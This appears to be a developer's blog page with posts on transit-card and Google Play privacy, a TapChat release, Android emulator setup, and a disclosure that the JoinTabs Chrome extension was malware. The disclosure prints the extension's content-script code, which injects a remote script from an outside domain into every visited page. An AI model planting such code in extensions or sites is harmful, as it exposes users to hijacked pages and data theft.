FareBot & Transit Card Privacy In The News

I was recently interviewed about my work on FareBot for a couple articles discussing the privacy of transit card systems:

FareBot was originally conceived as a proof-of-concept demonstration of how many existing transit payment systems are compatible with new NFC phones. It was a pleasant surprise to hear from many people, including people outside the tech industry, who use the app to check the balance of their card before heading to the train station or bus stop.

Removing detailed trip information from these cards while keeping the balance readable without authentication is a good compromise that balances privacy with utility.

Android Play Store Privacy

News of a "massive" privacy issue with the Google Android Play Store was reported today by several popular news sites and blogs including Reddit, Daring Fireball, ZDNet, and news.com.au.

The controversy is around how Google automatically shares detailed personal information of everyone who purchases a paid app with the app's developer.

I first noticed this back in July 2012:

Other well-known Android developers posted about this in November 2012. A Google employee replied to one of these post explaining the situation:

With apple's app store you buy the apps from apple. With google play you buy the apps from the developer. If you are the merchant of record you need to know the address to correctly compute sales tax.

This is documented on http://support.google.com/googleplay/android-developer/bin/answer.py?hl=en&answer=138000.

Google cannot give tax advice, so we have to give you the data to make the determination yourself.

This makes sense, but is not clearly communicated to users or developers.

When you buy a physical product online you obviously need to share your address with the seller, and the checkout flow makes this very clear. When buying an Android app, there's no indication that any of this information is shared, and the buyer has no opportunity to select which address or phone number to use for the purchase.

Apple set a very high bar for privacy when they launched the App Store: Developers are given zero information about customers. When Google copied it to create the Android Market, expectations had already been set.

The Android Market didn't initially support paid apps, and it always seemed that support for paid apps was hastily bolted on. For example: When someone "returns" your app within the 15 minute window, the developer receives an email reminding them to not "process or ship this order.", which clearly makes no sense.

There's also no email when someone successfully buys your app, which might actually be useful and like Apple, Google offers absolutely no information to developers about who downloaded free apps: there's a huge gap. Because the entire experience of purchasing Android apps is so sloppy, it's not unreasonable to assume that this privacy issue was actually an oversight.

Google's privacy policy says "We do not share personal information with companies, organizations and individuals outside of Google unless one of the following circumstances apply" … and goes on to list scenarios that do not obviously apply to purchasing apps or other content.

Google should follow Apple's lead and offer users and developers better privacy protection.

UPDATE 2013/02/26: This post was picked up by The Guardian, which notes that full address and phone number are not actually available. I am unsure of if this changed since last year or if I made a mistake.

But that does not explain why it passes on buyers' names and email addresses, which together with a postcode could be used to identify a person's location and address.

This is true, it's quite easy to track someone down with even a small amount of information. This is made even easier by what appears to be a bug in the Google Checkout dashboard for app developers: If you search for an address, matching orders will be returned even though this information is not displayed.

It's also worth noting that when you purchase an app, you can definitely see the developer's address and (sometimes) phone number. Not a problem for a company with an office, but possibly unsettling for many hobbyists.

TapChat UI Updates

A new version of the TapChat IRC Client for Android is now available in the Play Store!

This release contains a bunch of UI improvements based on user feedback.

image

image

A dark theme is now available and can be enabled in Preferences:

image

Sequential joins/parts/quits are now grouped together saving screen space.

image

Other changes include:

  • Indication of highlighted messages.
  • Day change indicator.
  • Faster and more reliable push notifications.
  • IRCCloud alpha fixes.
  • Other bug fixes.

TapChat for Android will now also notify you if your TapChat server is out of date.

image

To upgrade, simply run:

$ tapchat stop
$ sudo npm -g update tapchat
$ tapchat start

Server changes:

  • Fixed bug where TapChat would rejoin parted channels when restarted. Issue #5.
  • Fixed bug causing push notifications to be sent for your own messages when using irssi-proxy. Issue #6.
  • Improved stability and other various bug fixes including issues #3 and #4.

If you have any questions or comments, please stop by #tapchat on irc.freenode.net.

Enjoy!

Get it on Google Play

Configuring a usable Android emulator

Here's what the Android emulator looks like by default:

image

The most obvious problem looking at this screenshot is that it's ugly. The emulator window takes up a huge amount of space on the screen and has an on-screen keyboard for no reason.

What's not obvious if you havent tried this yourself is that it's also unusably slow. The emulator pictured above took 5 minutes just to start up, and barely responds to input. There are three reasons for this:

  1. It's not native. By default an ARM emulator is used, slowly translating instructions to x86 even though a native version is available.
  2. It's not accelerated. Even if you select x86, hardware accelerated virtualization is not available automatically.
  3. It uses software graphics. GPU acceleration is also disabled by default, causing the emulator to run even slower.

Here's how to solve these problems and regain your sanity.


  1. Install the Intel Hardware Accelerated Execution Manager for your platform. It comes with the Android SDK and can be found at extras/intel/Hardware_Accelerated_Execution_Manager.

  2. Launch the Android Virtual Device Manager:

    $ android avd
    
  3. Click New and enter the following information:

    • Target: Android 4.1 - API Level 16.
    • CPU/ABI: Intel Atom (x86).
    • SD Card: Size 512 MiB.
    • Skin: For a phone-sized emulator, I usually set the resolution to 320 x 528. For tablet-sized, I use 1024 x 648. I add 48 extra vertical pixels to leave room for the on-screen navigation controls.
    • Hardware:

      Change these defaults:

      • Abstract LCD density 160

      Click the New… button and add the following:

      • Hardware Back/Home keys: no
      • Keyboard Support: yes
      • SD Card Support: yes
      • GPU emulation: yes

      NOTE: After adding and configuring each new hardware option, select another row in the list to ensure the new option is actually saved. Welcome to the hanging chad theory of UI design.

  4. Click Create AVD, but don't start it just yet.

  5. Due to what I'm sure is a really bad excuse, the x86 images don't contain any Google APIs, so we need to add them manually. If you don't need to use the Google Maps APIs, you can skip all this.

    These steps are based on this blog post.

    a. You'll need a copy of the Google Maps files. The easiest option is to create an (ARM) emulator with the "Google APIs (Google Inc.) - API Level 10" target and pull them out:

    $ adb pull /system/etc/permissions/com.google.android.maps.xml
    $ adb pull /system/framework/com.google.android.maps.jar
    

    You can also download the files from http://goo.im/gapps.

    b. The emulator's /system partition has 0 bytes free by default and although the the AVD Manager has an option to change this, the option doesn't do anything.

    To work around this, quit the AVD Manager and launch your AVD from a terminal, specifying a larger partition size:

    $ emulator -partition-size 512 @AVD_NAME
    

    (Replace AVD_NAME appropriately.)

    c. Push the Google API files to the virtual device:

    $ adb remount
    $ adb push com.google.android.maps.xml /system/etc/permissions
    $ adb push com.google.android.maps.jar /system/framework
    

    d. We'll now build a new system image so this process doesn't have to be repeated every time you start your AVD.

    Download mkfs.yaffs2.x86 and push it to the device as well:

    $ adb push mkfs.yaffs2.x86 /data
    

    e. Create the new system image:

    $ adb shell chmod 755 /data/mkfs.yaffs2.x86
    $ adb shell /data/mkfs.yaffs2.x86 /system /data/system.img
    

    f. Pull down the newly built image:

    $ adb pull /data/system.img
    

    This takes a long time. Now is a good time to get that stiff drink you've been thinking about.

    g. Move the new system.img into the AVD's directory. On *nx systems, this is at ~/.android/avd/AVD_NAME.avd.

    $ cp system.img ~/.android/avd/AVD_NAME.avd/
    

    h. Start your AVD normally.

  6. Congratulations! You now have a usable Android emulator.

    image

    Unfortunately this probably means you're about to start writing an Android app. Good luck.


A lot of very impressive work has gone into improving the emulator recently, especially x86 images, hardware virtualization, and GPU acceleration.

It's unfortunate that not only are none of these features enabled by default, but the AVD Manager provides no notice that better performance is even possible. This leaves many developers with an unacceptably bad experience out of the box.

Poking around the Android SDK Git repository, I did notice some major changes underway to the AVD Manager, so there is some hope that this situation will improve. Until then, I hope you find this post useful.

JoinTabs Chrome extension contains malware

While working on a website, I noticed a strange amount of whitespace at the bottom of the page. Using the web inspector, I discovered it was an iframe attempting to display an advertisement from a domain I had never heard of.

Panic started to set in. There are definitely no ads on this site.

I then switched over to the tab where I had Gmail open and saw this in the inspector:

[blocked] The page at https://mail.google.com/mail/u/0/#inbox ran insecure content from http://www.v-tool.com/jointabs/stats.js.

Oh fuck.

I don't use many Chrome extensions, but one that I've found helpful is a stupidly simple extension called JoinTabs created by Luca Grementieri at an Italian company called "Java Factory". It adds a button to the Chrome toolbar that automatically combines tabs from every open window into one.

Clearly it was doing a bit more than advertised.

Looking at the source code, I found this in a file called shortcut.js:

var stats_tag = document.createElement('script');
stats_tag.type = 'text/javascript';
stats_tag.src = 'http://www.v-tool.com/jointabs/stats.js';
document.getElementsByTagName("head")[0].appendChild(stats_tag);

This file shotcut.js is listed in manifest.json under content_scripts. This means that the above code is run inside the content of every single web page. Had the authors of this extension used an https:// URL for the stats.js file, Chrome would not have blocked it from loading inside Gmail.

The stats.js file basically appends an <iframe> to the current page containing either http://www.games-free-apps.com/games/a.html or http://www.games-free-apps.com/games/b.html, which in turn display banner ads from a sketchy ad network. The reason I only saw whitespace is because I also have an ad blocking extension.

Although it appears the malicious code only displayed advertisements, who knows what it did in the past? It could have easily walked off with passwords, cookies, or other sensitive data.

How long has this been going on? Hard to say. Chrome extensions update automatically in the background, and as far as I can tell previous versions are not kept around. According to the file modification times, the extension last auto-updated on September 21st. Previous versions could have still contained malicious code, of course.

The extension has mysteriously disappeared from the Chrome Web Store. I'm not sure what this means… if Google became aware that the extension is malicious, would they not attempt to notify users? Do they have any way to remotely disable the extension?

Looking at a cache of the web store page, the extension has over 24,000 users. According to the author's website, the extension was also once even "Featured" by Google, though I don't know how to verify this.

A few months ago, Google announced a policy change allowing Chrome extensions to display advertisements. It says:

You may show ads alongside a third-party website only if all of the following criteria are met:

  • This behavior is clearly disclosed to the user.
  • There is clear attribution of the ads' source wherever those ads appear.
  • The ads do not interfere with any native ads or functionality of the website.

In other words, "please don't be evil".

All posts →